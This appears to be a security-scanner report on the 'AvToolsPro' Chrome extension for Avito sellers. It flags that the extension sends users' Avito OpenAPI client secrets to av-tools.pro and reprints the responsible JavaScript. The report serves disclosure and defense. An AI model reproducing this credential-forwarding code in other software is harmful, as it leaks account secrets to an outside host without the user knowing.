Is Аналитика и инструменты Авитолога - AvToolsPro safe?

High risk

Аналитика и инструменты Авитолога - AvToolsPro is high risk. Initializing its ad-cost tool on Avito pages, AvToolsPro requests your Avito OpenAPI client record, builds an OAuth token request with the client ID and credential, and posts that object to av-tools.pro/ext/request_avito.

Инструментыv3.9.2Chrome Web Store
72Risk
Who publishes it

Инструменты - 2 other listings from the same operator, 2 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Инструменты

Same store account

2 other listings published from this account, 10k+ users between them. 2 of them carry a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Avito OpenAPI credential is forwarded to av-tools.pro

Initializing its ad-cost tool on Avito pages, AvToolsPro requests your Avito OpenAPI client record, builds an OAuth token request with the client ID and credential, and posts that object to av-tools.pro/ext/request_avito.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You open or use AvToolsPro promotion controls while signed in to Avito.

The relevant component is loaded only on avito.ru and www.avito.ru pages.

The extension did this

The extension reads your Avito OpenAPI client credentials and forwards the token request through av-tools.pro.

The code constructs the token request locally, then posts the request object to the vendor proxy endpoint.

Fields assembled for the forwarded Avito token request
  • Token request URL
    https://api.avito.ru/token

    Shows which Avito API operation the extension is preparing on your behalf.

  • Client ID
    client_id=123456789 (illustrative)

    Identifies the OpenAPI client associated with your Avito account or business integration.

  • Client credential
    client_secret=<redacted>

    Can be paired with the client ID to request Avito API access tokens for that OpenAPI client.

  • Grant type
    grant_type=client_credentials

    Shows that the request is for a client-credentials access token.

Captured request
POSThttps://av-tools.pro/ext/request_avito

The source code forwards the request object to this endpoint; no live body capture is available.

The code that does this

Credential source, token request, and proxy endpoint

Readable version

Readable A_ class builds the token request and forwards it through request()

main.js
  class A_ {    constructor(e, n) {      this.client_id = e, this.client_secret = n, this.token = null, this.tokenExpiration = null, this.cache_cpxGetBids = {};    }    _oauthStorageBase() {      const e = encodeURIComponent(String(this.client_id ?? ""));      let n = 0;      const s = String(this.client_secret ?? "");      for (let r = 0; r < s.length; r++) n = Math.imul(31, n) + s.charCodeAt(r) | 0;      return `avito_oauth_${e}_${(n>>>0).toString(36)}`    }    _tokenKey() {      return `${this._oauthStorageBase()}_access`    }    _tokenExpKey() {      return `${this._oauthStorageBase()}_exp`    }    async getToken() {      const e = Number(localStorage.getItem(this._tokenExpKey())),        n = localStorage.getItem(this._tokenKey());      if (!this.token && n && Date.now() < e) {        this.token = n, this.tokenExpiration = e;        return      }      const a = await (await this.request({        url: "https://api.avito.ru/token",        method: "POST",        headers: {          "Content-Type": "application/x-www-form-urlencoded"        },        form: {          client_id: this.client_id,          client_secret: this.client_secret,          grant_type: "client_credentials"        }      })).json();      this.token = a.access_token, this.tokenExpiration = Date.now() + a.expires_in * 1e3, localStorage.setItem(this._tokenKey(), this.token), localStorage.setItem(this._tokenExpKey(), String(this.tokenExpiration));    }    async getVasPrices(e, n) {      (!this.token || Date.now() > this.tokenExpiration) && await this.getToken();      const s = `https://api.avito.ru/core/v1/accounts/${e}/vas/prices`;      return await (await this.request({        url: s,        method: "POST",        headers: {          Authorization: `Bearer ${this.token}`,          "Content-Type": "application/json"        },        json: {          itemIds: n        }      })).json()    }    async addVasServices(e, n) {      (!this.token || Date.now() > this.tokenExpiration) && await this.getToken();      const s = `https://api.avito.ru/core/v2/items/${e}/vas/`;      return await (await this.request({        url: s,        method: "PUT",        headers: {          Authorization: `Bearer ${this.token}`,          "Content-Type": "application/json"        },        json: {          slugs: n        }      })).json()    }    async cpxSetManualBid(e) {      (!this.token || Date.now() > this.tokenExpiration) && await this.getToken();      const s = await this.request({        url: "https://api.avito.ru/cpxpromo/1/setManual",        method: "POST",        headers: {          Authorization: `Bearer ${this.token}`,          "Content-Type": "application/json"        },        json: e      });      if (!s.ok) throw new Error(await s.text());      return await s.json()    }    async cpxSetAutoBid(e) {      (!this.token || Date.now() > this.tokenExpiration) && await this.getToken();      const s = await this.request({        url: "https://api.avito.ru/cpxpromo/1/setAuto",        method: "POST",        headers: {          Authorization: `Bearer ${this.token}`,          "Content-Type": "application/json"        },        json: e      });      if (!s.ok) throw new Error(await s.text());      return await s.json()    }    async cpxGetBids(e, n = !0) {      return n || localStorage.removeItem("cache_cpxGetBids_" + e), (!this.token || Date.now() > this.tokenExpiration) && await this.getToken(), await oa("cpxGetBids_" + e, 60, async () => {        const r = `https://api.avito.ru/cpxpromo/1/getBids/${e}`;        return (await this.request({          url: r,          method: "GET",          headers: {            Authorization: `Bearer ${this.token}`,            "Content-Type": "application/json"          }        })).json()      }, () => [])    }    async cpxStop(e) {      (!this.token || Date.now() > this.tokenExpiration) && await this.getToken();      const s = await this.request({        url: "https://api.avito.ru/cpxpromo/1/remove",        method: "POST",        headers: {          Authorization: `Bearer ${this.token}`,          "Content-Type": "application/json"        },        json: {          itemID: e        }      });      if (!s.ok) throw new Error(await s.text());      return await s.json()    }    async request(e) {      const s = await fetch("https://av-tools.pro/ext/request_avito", {        method: "POST",        body: JSON.stringify(e)      });      if (!s.ok) throw new Error(await s.text());      return s    }  }

Readable AdvertsCost component reads clientId/clientSecret and calls cpx methods from the button flow

main.js
    vU = {      class: "ext_avtools_dropdown__controls"    },    mU = {      key: 0,      class: "ext_avtools_btn-dark",      style: {        width: "100%"      },      disabled: ""    },    gU = {      key: 1,      class: "ext_avtools_btn-dark",      style: {        width: "100%"      },      disabled: ""    },    _U = ["innerHTML"],    xU = {      __name: "AdvertsCost",      setup(t) {        const e = Q(!1);        let n = Q("");        const s = Q([]),          r = Q(0);        let a = Q(null);        Um("https://www.avito.ru/web/1/profile/openapi/clients", "GET", null, {          "Content-Type": "application/json"        }).then(p => {          p.ok && p.json().then(h => {            h.length > 0 && (a.value = new A_(h[0].clientId, h[0].clientSecret));          });        });        const o = Pn({            type: "manual",            manual: {              actionTypeID: 5,              bidPenny: null,              itemID: null,              limitPenny: null,              alg: "="            },            auto: {              actionTypeID: 5,              budgetPenny: null,              itemID: null,              budgetType: "1d"            }          }),          l = Q(0),          c = p => new Promise(h => setTimeout(h, p)),          u = () => {            const p = document.querySelectorAll("[class*=styles-module-controlledInput_checked]");            s.value = [], p && p.length > 0 && p.forEach(h => {              try {                const v = h.dataset.marker.replace(")", "").replace("select-offer(", "").replace("/toggle", "");                s.value.find(g => g === v) || s.value.push(v);              } catch {}            });          },          d = async () => {            if (u(), s.value.length === 0) {              n.value = "Выберите объявления галочками в списке объявлений!<br/>";              return            }            if (!a.value) {              n.value = "API не инициализирован. Попробуйте позже.<br/>";              return            }            e.value = !0, n.value = "", l.value = 0;            for (let p in s.value) {              l.value += 1;              let h = s.value[p];              try {                n.value += h + ": Настраиваю объявление<br />";                let v = !1;                try {                  if (!a.value) {                    n.value += h + ": API не доступно<br />";                    continue                  }                  v = await a.value.cpxGetBids(parseInt(h), !1);                } catch {                  n.value += h + ": Ошибка получения текущих настроек<br />";                  continue                }                let g = {};                if (o.type === "manual") {                  let m = parseFloat(v?.manual?.bidPenny ?? 0);                  o.manual.alg === "=" && (m = parseFloat(r.value).toFixed(2) * 100), o.manual.alg === "+" && (m = m + parseFloat(r.value).toFixed(2) * 100), o.manual.alg === "-" && (m = m - parseFloat(r.value).toFixed(2) * 100), o.manual.alg === "+%" && (m = parseInt(m + m * (parseFloat(r.value) / 100))), o.manual.alg === "-%" && (m = parseInt(m - m * (parseFloat(r.value) / 100))), m <= 0 && (m = parseFloat(v?.manual?.bidPenny ?? 0)), g = {                    actionTypeID: v.actionTypeID ?? 5,                    bidPenny: m,                    itemID: parseInt(h),                    limitPenny: o?.manual?.limitPenny ? o?.manual?.limitPenny * 100 : v?.manual?.limitPenny ? v?.manual?.limitPenny : null                  }, await a.value.cpxSetManualBid(g);                }                o.type === "auto" && (g = {                  actionTypeID: parseInt(v.actionTypeID ?? 5),                  budgetPenny: parseInt(o.auto.budgetPenny ?? 0) * 100,                  itemID: parseInt(h),                  budgetType: o.auto.budgetType ?? "1d"                }, await a.value.cpxSetAutoBid(g)), o.type === "stop" && await a.value.cpxStop(parseInt(h)), await a.value.cpxGetBids(parseInt(h), !1), n.value += h + ": Готово<br />", ss.emit("update_cps_advert_" + h), n.value += "Пауза...<br />", await c(1e3);              } catch (v) {                try {                  n.value += h + ": Ошибка " + JSON.parse(v.toString().replace("Error: ", "")) + "<br />";                } catch {                  n.value += h + ": Ошибка " + v.toString() + "<br />";                }              }            }            l.value = 0, e.value = !1, n.value += "Выполнено";          };        return (p, h) => (k(), at(Xt, {          "no-close": !0,          onOpen: h[8] || (h[8] = v => u())        }, {          button: Ke(() => h[9] || (h[9] = [f("img", {            src: b_,            alt: "",            style: {              width: "20px",              height: "20px"            }          }, null, -1), _e(" Стоимость ЦД ")])),          header: Ke(() => h[10] || (h[10] = [_e(" Настройка стоимости целевого действия ")])),          content: Ke(() => [f("div", XN, [F(a) ? ee("", !0) : (k(), S("div", KN, " Инициализация API... ")), s.value.length === 0 ? (k(), S("div", YN, " Выберите объявления галочками в списке объявлений! ")) : ee("", !0), f("div", ZN, [h[11] || (h[11] = f("strong", null, "Объявлений выбрано:", -1)), _e(" " + W(s.value.length), 1)]), e.value ? (k(), S("div", JN, [h[12] || (h[12] = f("strong", null, "Выполнено:", -1)), _e(" " + W(l.value), 1)])) : ee("", !0), e.value ? ee("", !0) : (k(), S(ke, {            key: 3          }, [f("div", QN, [f("div", eU, [h[15] || (h[15] = f("span", {            style: {              width: "130px",              display: "inline-block"            }          }, "Как настраивать:", -1)), f("div", tU, [He(f("select", {            "onUpdate:modelValue": h[0] || (h[0] = v => o.type = v)          }, h[13] || (h[13] = [f("option", {            value: "manual"          }, "Вручную", -1), f("option", {            value: "auto"          }, "Автоматичеcки", -1), f("option", {            value: "stop"          }, "Убрать продвижение", -1)]), 512), [            [qt, o.type]          ]), h[14] || (h[14] = f("img", {            src: Sr,            alt: "",            style: {              width: "16px",              height: "16px"            }          }, null, -1))])])]), o.type === "manual" ? (k(), S(ke, {            key: 0          }, [f("div", nU, [f("div", sU, [h[18] || (h[18] = f("span", {            style: {              width: "130px",              display: "inline-block"            }          }, "Изменить ставку:", -1)), f("div", rU, [f("div", iU, [He(f("select", {            "onUpdate:modelValue": h[1] || (h[1] = v => o.manual.alg = v)          }, h[16] || (h[16] = [f("option", {            value: "="          }, "=", -1), f("option", {            value: "+"          }, "+", -1), f("option", {            value: "-"          }, "-", -1), f("option", {            value: "+%"          }, "+%", -1), f("option", {            value: "-%"          }, "-%", -1)]), 512), [            [qt, o.manual.alg]          ]), h[17] || (h[17] = f("img", {            src: Sr,            alt: "",            style: {              width: "16px",              height: "16px"            }          }, null, -1))]), We(F(wi), {            value: r.value,            "onUpdate:value": h[2] || (h[2] = v => r.value = v),            class: "ext_avtools_form-control",            options: {              precision: 2,              prefix: "",              suffix: "",              decimal: ".",              thousand: "",              acceptNegative: !1,              isInteger: !1            }          }, null, 8, ["value"]), f("div", aU, [f("button", {            onClick: h[3] || (h[3] = v => r.value = r.value + .1),            class: "ext-text-xs ext-border-none bg-transparent cursor-pointer",            style: {              width: "20px",              height: "18px",              padding: "0"            }          }, "+"), f("button", {            onClick: h[4] || (h[4] = v => r.value = r.value - .1),            class: "ext-text-xs ext-border-none bg-transparent cursor-pointer",            style: {              width: "20px",              height: "18px",              padding: "0"            }          }, "-")])])]), h[19] || (h[19] = f("div", {            class: "ext-text-xs mt-1 ext-text-gray-400",            style: {              "margin-left": "145px",              "font-size": "0.8em",              opacity: "0.8"            }          }, "Если не задать, то будет использована текущая настройка на объявлении", -1))]), f("div", oU, [f("div", lU, [h[20] || (h[20] = f("span", {            style: {              width: "130px",              display: "inline-block"            }          }, "Лимит на день:", -1)), He(f("input", {            type: "text",            "onUpdate:modelValue": h[5] || (h[5] = v => o.manual.limitPenny = v),            class: "ext_avtools_form-control",            style: {              width: "89%"            }          }, null, 512), [            [nt, o.manual.limitPenny]          ])]), h[21] || (h[21] = f("div", {            class: "ext-text-xs mt-1 ext-text-gray-400",            style: {              "margin-left": "145px",              "font-size": "0.8em",              opacity: "0.8"            }          }, "Если не задать, то будет использована текущая настройка на объявлении", -1))])], 64)) : ee("", !0), o.type === "auto" ? (k(), S(ke, {            key: 1          }, [f("div", cU, [f("div", uU, [h[24] || (h[24] = f("span", {            style: {              width: "130px",              display: "inline-block"            }          }, "Срок:", -1)), f("div", dU, [He(f("select", {            "onUpdate:modelValue": h[6] || (h[6] = v => o.auto.budgetType = v)          }, h[22] || (h[22] = [f("option", {            value: "1d"          }, "На день", -1), f("option", {            value: "7d"          }, "На неделю", -1), f("option", {            value: "30d"          }, "На месяц", -1)]), 512), [            [qt, o.auto.budgetType]          ]), h[23] || (h[23] = f("img", {            src: Sr,            alt: "",            style: {              width: "16px",              height: "16px"            }          }, null, -1))])])]), f("div", fU, [f("div", hU, [h[25] || (h[25] = f("span", {            style: {              width: "130px",              display: "inline-block"            }          }, "Бюджет, руб.:", -1)), He(f("input", {            type: "text",            "onUpdate:modelValue": h[7] || (h[7] = v => o.auto.budgetPenny = v),            class: "ext_avtools_form-control",            style: {              width: "89%"            }          }, null, 512), [            [nt, o.auto.budgetPenny]          ])])])], 64)) : ee("", !0)], 64)), f("div", pU, [f("div", vU, [e.value ? (k(), S("button", mU, "Настраиваю...")) : ee("", !0), F(a) ? ee("", !0) : (k(), S("button", gU, "Инициализация API...")), !e.value && F(a) ? (k(), S("button", {            key: 2,            class: "ext_avtools_btn-dark",            style: {              width: "100%"            },            onClick: d          }, "Установить")) : ee("", !0)])]), F(n) !== "" ? (k(), S("div", {            key: 4,            class: "mt-3 mb-1 ext-border ext-border-solid ext-border-gray-300 ext-bg-gray-50 ext-text-xs ext-overflow-y-scroll ext-h-[100px] ext-rounded ext-shadow ext-p-1",            innerHTML: F(n)          }, null, 8, _U)) : ee("", !0)])]),          _: 1        }))      }    },
External host receiving the forwarded request
    • av-tools.pro

    Receives the JSON-serialized request object that includes the Avito token URL and credential form fields.

Updated 30 September 2026fdlagobhhjoajekcnmeklfgheannpdlm